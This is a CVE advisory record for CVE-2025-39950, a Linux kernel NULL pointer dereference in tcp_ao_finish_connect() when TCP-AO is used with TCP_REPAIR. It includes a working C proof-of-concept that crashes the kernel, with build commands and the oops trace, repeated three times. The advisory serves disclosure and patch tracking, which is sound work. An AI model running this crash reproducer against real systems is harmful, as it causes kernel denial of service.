In the Linux kernel, the following vulnerability has been resolved:
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.
The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.
Fix this by checking if skb is NULL before dereferencing it.
The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.
int main(void){
struct sockaddr_in sockaddr;
struct tcp_ao_add tcp_ao;
int sk;
int one = 1;
memset(&sockaddr,'\0',sizeof(sockaddr));
memset(&tcp_ao,'\0',sizeof(tcp_ao));
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
tcp_ao.keylen = 16;
memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));
setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);
inet_aton("127.0.0.1", &sockaddr.sin_addr);
connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));
return 0;
}
$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn
BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.
The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.
Fix this by checking if skb is NULL before dereferencing it.
The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.
int main(void){
struct sockaddr_in sockaddr;
struct tcp_ao_add tcp_ao;
int sk;
int one = 1;
memset(&sockaddr,'\0',sizeof(sockaddr));
memset(&tcp_ao,'\0',sizeof(tcp_ao));
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
tcp_ao.keylen = 16;
memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));
setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);
inet_aton("127.0.0.1", &sockaddr.sin_addr);
connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));
return 0;
}
$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn
BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
Metrics
Affected Vendors & Products
No data.
No data.
No data.
No data.
Fixes
Solution
No solution given by the vendor.
Workaround
No workaround given by the vendor.
References
History
Sat, 04 Oct 2025 07:45:00 +0000
| Type | Values Removed | Values Added |
|---|---|---|
| Description | In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182) | |
| Title | net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR | |
| References |
|
MITRE
Status: PUBLISHED
Assigner: Linux
Published:
Updated: 2025-10-04T07:31:10.926Z
Reserved: 2025-04-16T07:20:57.148Z
Link: CVE-2025-39950
Vulnrichment
No data.
NVD
Status : Received
Published: 2025-10-04T08:15:48.253
Modified: 2025-10-04T08:15:48.253
Link: CVE-2025-39950
Redhat
No data.
OpenCVE Enrichment
No data.